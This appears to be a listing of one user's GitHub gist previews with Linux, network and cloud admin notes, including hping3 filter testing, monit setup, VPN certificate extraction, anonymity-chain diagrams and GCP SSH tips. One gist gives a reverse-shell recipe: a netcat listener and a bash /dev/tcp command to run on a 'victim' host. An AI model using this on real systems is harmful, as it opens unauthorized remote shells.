alsunseri

work in progress - these have been tested somewhat and work for my troubleshooting needs for now. 

Craft TCP SYN packets that contain the low MSS option. 
Many other options can be added but this will work to test filters/iptables etc:

     hping3 -S --tcp-mss 398 -s 49280 -k -p 80 hostname.server.net

tcpdump to print to terminal any TCP SYN packets on eth0 that have options set to MSS and set it to 500 or less.
(0x01F4 or less )
This _will_ detect the above hping3 packets but it probably only works if the ONLY option set is MSS!

alsunseri

#!/bin/bash

yum -y install monit
chkconfig monit on

echo 'set daemon  10              # check services at 30 seconds intervals
set logfile syslog
set httpd port 2812 and
    use address localhost  # only accept connection from localhost
    allow localhost        # allow localhost to connect to the server and

alsunseri

On attack host in "local" active terminal using port 10000 for example:

nc -l -t -v  8080
i.e. attacker$ nc -l -v [ATTACK_HOST_IP] 8080
        Then On "remote" victim computer - run this command
        Get this to execute on the victim host ( assuming victim does not have netcat ) 

bash -i >& /dev/tcp/[ATTACK_HOST_IP]/10000 0>&1  

        for example:

alsunseri

### from nathan house at stationx from the cyber sec. course on anonymity etc.
sed '1,/<ca>/d;/<\/ca>/,$d' myvpn_account.ovpn > ca.crt
sed '1,/<cert>/d;/<\/cert>/,$d' myvpn_account.ovpn > client.crt
sed '1,/<key>/d;/<\/key>/,$d' myvpn_account.ovpn > client.key
sed '1,/<tls-auth>/d;/<\/tls-auth>/,$d' myvpn_account.ovpn > ta.key

alsunseri

This is a work in progress. 

Using cloudns for dynamic DNS - get your AWS or EC2 server to use dynamic DNS at boot.
Get new dynamic DNS update via cloudns when systemctl starts on VM instances such as GCP and EC2.

I have a zone hosted in cloudns so this is a plus, I dont know if you can use this without a full zone of your own. 
These are the steps

1. Make a new A record for the VM that you want to use in a zone file on cloudns 

alsunseri

BEST for general/total anonymity?
(USER)   ->   TLS+VPN/SSH    ->   Jondo(paid)    ->   Tor/I2P  -> (INTERNET/Hidden Services) 
             stunnel etc

BEST anonymity from DESTINATION ( not from ISP etc ) 
( Tor 1st hop )  ---- (SSH/VPN/Jondo LAST hop ) ( can not use hidden services )
(USER)   ->  Tor  -> Jondo(free/anon paid )  -> (INTERNET) 
(USER)   ->  Tor  ->  VPN(no money trail)    -> (INTERNET) 

alsunseri

# Kernel sysctl configuration file for Red Hat Linux
#
# For binary values, 0 is disabled, 1 is enabled.  See sysctl(8) and
# sysctl.conf(5) for more details.

#
# Network settings
#
#
# This sets the max OS receive buffer size for all types of connections

alsunseri

http://www.brendangregg.com/blog/2015-03-03/performance-tuning-linux-instances-on-ec2.html
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/enhanced-networking-os.html
https://aws-labs.com/sysctl-conf/

https://gist.github.com/lrascao/6a65a95406b068a42f4e254987145c0d
forked to 
https://gist.github.com/alsunseri/648b35695c4955553fdf6f86c3e421d6

alsunseri

How to ssh from google cloudshell to google GCP VM instances 
- even instances with blocked ssh and instances with no public IP address

Why is this different than using ssh  from any other terminal?

 A. The IP address of the cloudshell is not known in advance and the ranges are not published.
 B.  Changes to the /root/.ssh folder will be lost when the instance stops.
 C.  There is no way to add a tag to the cloudshell 
 D.  The cloudshell has no Service Account but uses the identity of the person logging into the GCP web cloud console.
 E. Tm GCP VM might not even have a public IP address and might be in a different subnet.

alsunseri

**Set up pgAdmin4 on a recent Ubuntu type system**

mkdir ~/pgadmin4

$ virtualenv --verbose -p /usr/bin/python3 venv_pg4 
$ source venv_pg4/bin/activate 
$ wget https://ftp.postgresql.org/pub/pgadmin/pgadmin4/v4.22/pip/pgadmin4-4.22-py3-none-any.whl.asc 
$ wget https://ftp.postgresql.org/pub/pgadmin/pgadmin4/v4.22/pip/pgadmin4-4.22-py3-none-any.whl
$ verify signature??